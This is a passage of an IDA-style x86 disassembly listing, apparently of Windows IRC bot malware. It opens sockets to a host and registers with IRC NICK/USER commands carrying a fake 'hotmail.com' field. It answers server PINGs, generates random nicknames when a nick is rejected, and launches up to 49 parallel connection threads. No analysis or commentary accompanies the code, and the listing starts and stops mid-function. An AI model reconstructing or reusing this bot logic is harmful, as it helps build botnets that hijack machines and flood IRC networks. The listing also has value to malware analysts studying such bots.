arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4C9878	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41484A
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4C97FC	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4C9838	; inet_addr
		cmp	eax, esi
		jnz	short loc_41482F
		push	[ebp+arg_0]
		call	dword_4C987C	; gethostbyname
		test	eax, eax
		jz	short loc_41484A
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_41482F:				; CODE XREF: sub_4147CE+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4C97A8	; connect
		cmp	eax, esi
		jnz	short loc_41484E
		push	edi
		call	dword_4C9890	; closesocket


loc_41484A:				; CODE XREF: sub_4147CE+1Bj
					; sub_4147CE+58j
		mov	eax, esi
		jmp	short loc_414850
; ---------------------------------------------------------------------------


loc_41484E:				; CODE XREF: sub_4147CE+73j
		mov	eax, edi


loc_414850:				; CODE XREF: sub_4147CE+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_4147CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_414854	proc near		; CODE XREF: sub_401AC7+2D10p
					; sub_401AC7+2D79p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42C764 ; "\n"
		push	edi
		call	sub_4183C0
		pop	ecx
		mov	esi, offset dword_4D1464
		pop	ecx


loc_41486C:				; CODE XREF: sub_414854+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_41488A
		cmp	dword ptr [esi], 0
		jbe	short loc_41488A
		push	0
		push	edi
		call	sub_4176F0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4C9848	; send


loc_41488A:				; CODE XREF: sub_414854+1Cj
					; sub_414854+21j
		add	esi, 210h
		cmp	esi, offset dword_4D7B84
		jl	short loc_41486C
		pop	edi
		pop	esi
		retn
sub_414854	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41489B	proc near		; CODE XREF: sub_414992+152p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42EF5C ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_4185F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4148C0:				; CODE XREF: sub_41489B+35j
		push	esi
		push	0
		call	sub_4185F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4148C0
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_4148E8
		cmp	esi, edi
		jnz	short loc_4148E8
		push	1
		pop	eax
		jmp	loc_41498D
; ---------------------------------------------------------------------------


loc_4148E8:				; CODE XREF: sub_41489B+3Fj
					; sub_41489B+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_418570
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_414912
		lea	eax, [ebp+var_220]
		push	offset aPongS_0	; "PONG	%s\n"
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	short loc_41496C
; ---------------------------------------------------------------------------


loc_414912:				; CODE XREF: sub_41489B+5Fj
		push	offset a433	; "433"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414933
		push	esi
		push	offset a432	; "432"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41498B


loc_414933:				; CODE XREF: sub_41489B+85j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_417AA0
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_414BB2
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_220]
		push	offset aNickS_0	; "NICK	%s\n"
		push	eax
		call	sub_417D96
		add	esp, 1Ch


loc_41496C:				; CODE XREF: sub_41489B+75j
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C9848	; send


loc_41498B:				; CODE XREF: sub_41489B+96j
		xor	eax, eax


loc_41498D:				; CODE XREF: sub_41489B+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41489B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414992	proc near		; DATA XREF: sub_414B34+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_418030
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D146C[esi]
		mov	dword_4D1460[esi], edi
		push	dword_4D166C[esi]
		push	eax
		call	sub_4147CE
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D1464[esi], eax
		jb	loc_414B14
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_417AA0
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_414BB2
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_414BB2
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_414BB2
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_417D96
		add	esp, 2Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D1464[esi]
		call	dword_4C9848	; send
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch


loc_414A6B:				; CODE XREF: sub_414992+10Ej
					; sub_414992+17Dj
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D1464[esi]
		call	dword_4C9814	; recv
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_414B14
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_414A6B


loc_414AA2:				; CODE XREF: sub_414992+17Bj
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_414AC9
		cmp	al, 0Ah
		jz	short loc_414AC9
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_414AC9
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_414B03
; ---------------------------------------------------------------------------


loc_414AC9:				; CODE XREF: sub_414992+119j
					; sub_414992+11Dj ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_414B03
		push	dword_4D1464[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_41489B
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_414B14
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_414B03:				; CODE XREF: sub_414992+135j
					; sub_414992+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_414AA2
		jmp	loc_414A6B
; ---------------------------------------------------------------------------


loc_414B14:				; CODE XREF: sub_414992+40j
					; sub_414992+104j ...
		mov	dword_4D1460[esi], ebx
		mov	esi, dword_4D1464[esi]
		cmp	esi, ebx
		jbe	short loc_414B2B
		push	esi
		call	dword_4C9890	; closesocket


loc_414B2B:				; CODE XREF: sub_414992+190j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_414992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B34	proc near		; CODE XREF: sub_401AC7+2C63p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_414BAD


loc_414B46:				; CODE XREF: sub_414B34+77j
		xor	edi, edi
		mov	eax, offset dword_4D1460


loc_414B4D:				; CODE XREF: sub_414B34+28j
		cmp	[eax], ebx
		jz	short loc_414B5E
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4D7B80
		jl	short loc_414B4D


loc_414B5E:				; CODE XREF: sub_414B34+1Bj
		cmp	edi, 31h
		jz	short loc_414BAD
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D146C[esi]
		push	eax
		call	sub_4183B0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D166C[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D1460[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_414992
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_414B46


loc_414BAD:				; CODE XREF: sub_414B34+10j
					; sub_414B34+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414B34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414BB2	proc near		; CODE XREF: sub_401AC7+31B6p
					; sub_401AC7+31F9p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		call	sub_417DF2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4236E0
		call	sub_418C98
		cmp	eax, 1
		jnz	short loc_414BFC
		call	sub_417DF2
		call	sub_417DF2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_438C98[edx*4]
		jmp	short loc_414C15
; ---------------------------------------------------------------------------


loc_414BFC:				; CODE XREF: sub_414BB2+2Fj
		call	sub_417DF2
		call	sub_417DF2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_438998[edx*4]


loc_414C15:				; CODE XREF: sub_414BB2+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_4183B0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_4176F0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236D8
		call	sub_418C98
		mov	ebx, eax
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4236D0
		call	sub_418C98
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_414C88
		cmp	esi, 3
		jnz	short loc_414C7F
		cmp	ebx, 1
		jz	short loc_414C88


loc_414C7F:				; CODE XREF: sub_414BB2+C6j
		cmp	eax, 1
		jnz	loc_414D42


loc_414C88:				; CODE XREF: sub_414BB2+C1j
					; sub_414BB2+CBj
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236C8
		call	sub_418C98
		push	off_438C98[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4183B0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_4184B0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_414D2F
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_4184B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414D2F
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4236D0
		call	sub_418C98
		cmp	eax, 1
		jnz	short loc_414D2F
		push	edi
		call	sub_4176F0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4236D0
		call	sub_418C98
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_414D2F:				; CODE XREF: sub_414BB2+111j
					; sub_414BB2+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_4186E0
		add	esp, 0Ch


loc_414D42:				; CODE XREF: sub_414BB2+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_4176F0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41999A
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414FAA
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_4184B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414EA1
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4236D0
		call	sub_418C98
		cmp	esi, 3
		jz	short loc_414DB0
		cmp	eax, 1
		jnz	loc_414EA1


loc_414DB0:				; CODE XREF: sub_414BB2+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_414DF2
		push	edi
		call	sub_4176F0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4236D0
		call	sub_418C98
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_414E0E
; ---------------------------------------------------------------------------


loc_414DF2:				; CODE XREF: sub_414BB2+207j
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236C0
		call	sub_418C98
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_414E0E:				; CODE XREF: sub_414BB2+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236B8
		call	sub_418C98
		cmp	esi, 3
		jz	short loc_414E37
		cmp	eax, ebx
		jnz	short loc_414EA1


loc_414E37:				; CODE XREF: sub_414BB2+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_414E7C
		push	edi
		call	sub_4176F0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4236D0
		call	sub_418C98
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_414E9A
; ---------------------------------------------------------------------------


loc_414E7C:				; CODE XREF: sub_414BB2+28Fj
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236C0
		call	sub_418C98
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_414E9A:				; CODE XREF: sub_414BB2+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_414EA1:				; CODE XREF: sub_414BB2+1C9j
					; sub_414BB2+1F8j ...
		cmp	esi, 6
		jge	loc_414F2A
		cmp	esi, 5
		jge	short loc_414EC2
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236D8
		jmp	short loc_414EE0
; ---------------------------------------------------------------------------


loc_414EC2:				; CODE XREF: sub_414BB2+2FBj
		call	sub_417DF2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4236D0


loc_414EE0:				; CODE XREF: sub_414BB2+30Ej
		call	sub_418C98
		test	eax, eax
		jnz	short loc_414F03
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236B0
		call	sub_418C98
		mov	cl, 30h
		jmp	short loc_414F20
; ---------------------------------------------------------------------------


loc_414F03:				; CODE XREF: sub_414BB2+335j
		cmp	eax, 1
		jnz	short loc_414F2A
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236C0
		call	sub_418C98
		mov	cl, 41h


loc_414F20:				; CODE XREF: sub_414BB2+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_414F2A:				; CODE XREF: sub_414BB2+2F2j
					; sub_414BB2+354j
		cmp	[ebp+var_C], 2
		jge	short loc_414FAA
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4236D0
		call	sub_418C98
		cmp	eax, 1
		jnz	short loc_414FAA
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236B0
		call	sub_418C98
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236A8
		call	sub_418C98
		cmp	eax, 1
		jnz	short loc_414FAA
		cmp	[ebp+var_C], eax
		jge	short loc_414FAA
		call	sub_417DF2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4236A0
		call	sub_418C98
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_414FAA:				; CODE XREF: sub_414BB2+1B1j
					; sub_414BB2+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_417B00
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414BB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414FC3	proc near		; CODE XREF: sub_401AC7+94Dp
					; sub_401AC7+98Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_41504E
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_41504E
		cmp	[ebp+arg_8], esi
		jz	short loc_41504E
		cmp	byte ptr [eax],	0
		jz	short loc_41504E
		push	ebx
		push	edi
		call	sub_421EE5
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_415049
		push	[ebp+arg_4]
		push	edi
		call	sub_417E10
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_415042
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_417B00
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_4176F0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_4186E0
		push	[ebp+arg_4]
		call	sub_4176F0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_4183C0
		push	ebx
		push	edi
		call	sub_4183B0
		add	esp, 30h
		mov	esi, edi


loc_415042:				; CODE XREF: sub_414FC3+3Cj
		push	ebx
		call	sub_4177C1
		pop	ecx


loc_415049:				; CODE XREF: sub_414FC3+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_415050
; ---------------------------------------------------------------------------


loc_41504E:				; CODE XREF: sub_414FC3+Cj
					; sub_414FC3+13j ...
		xor	eax, eax


loc_415050:				; CODE XREF: sub_414FC3+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_414FC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415054	proc near		; CODE XREF: sub_40194F+E9p
					; sub_40F2F7+F4p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_417AA0
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_4176F0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_41508A
		or	eax, 0FFFFFFFFh
		jmp	short loc_4150FD
; ---------------------------------------------------------------------------


loc_41508A:				; CODE XREF: sub_415054+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_4150AC


loc_415096:				; CODE XREF: sub_415054+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_4150A3
		cmp	dl, 0Dh
		jnz	short loc_4150A7


loc_4150A3:				; CODE XREF: sub_415054+48j
		and	byte ptr [ecx+esi], 0


loc_4150A7:				; CODE XREF: sub_415054+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_415096


loc_4150AC:				; CODE XREF: sub_415054+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_4150DD
		lea	edi, [ebp+var_7CC]


loc_4150B9:				; CODE XREF: sub_415054+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_4150D8
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_4150D8
		cmp	ebx, 1F4h
		jge	short loc_4150DD
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_4150D8:				; CODE XREF: sub_415054+69j
					; sub_415054+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_4150B9


loc_4150DD:				; CODE XREF: sub_415054+5Dj
					; sub_415054+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_4150FB
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_418810
		add	esp, 0Ch


loc_4150FB:				; CODE XREF: sub_415054+8Ej
		mov	eax, ebx


loc_4150FD:				; CODE XREF: sub_415054+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_415054	endp


; =============== S U B	R O U T	I N E =======================================



sub_415101	proc near		; CODE XREF: sub_41515B+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_41513A
		push	ebx
		mov	ebx, edi


loc_41511E:				; CODE XREF: sub_415101+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_41513D
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_41511E
		pop	ebx


loc_41513A:				; CODE XREF: sub_415101+18j
		pop	edi
		pop	esi
		retn
sub_415101	endp


; =============== S U B	R O U T	I N E =======================================



sub_41513D	proc near		; CODE XREF: sub_415101+25p
					; sub_41515B+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_419A9C
		cmp	al, 61h
		pop	ecx
		jl	short loc_415158
		cmp	al, 7Ah
		jg	short loc_415158
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_415158:				; CODE XREF: sub_41513D+Ej
					; sub_41513D+12j
		xor	eax, eax
		retn
sub_41513D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41515B	proc near		; CODE XREF: sub_413C3F+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_418030
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4176F0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_4176F0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_415101
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_415199:				; CODE XREF: sub_41515B+B6j
		test	esi, esi
		jle	short loc_415217
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419A9C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_419A9C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41520F


loc_4151BF:				; CODE XREF: sub_41515B+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_41513D
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_4151E0
		mov	eax, ecx


loc_4151E0:				; CODE XREF: sub_41515B+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_415213
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419A9C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_419A9C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4151BF


loc_41520F:				; CODE XREF: sub_41515B+62j
		dec	edi
		dec	esi
		jmp	short loc_415199
; ---------------------------------------------------------------------------


loc_415213:				; CODE XREF: sub_41515B+8Aj
		xor	eax, eax
		jmp	short loc_41521C
; ---------------------------------------------------------------------------


loc_415217:				; CODE XREF: sub_41515B+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_41521C:				; CODE XREF: sub_41515B+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41515B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415221	proc near		; CODE XREF: sub_401AC7+5EC6p
					; sub_401AC7+6A91p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_42308C	; RtlGetLastWin32Error
		mov	esi, eax
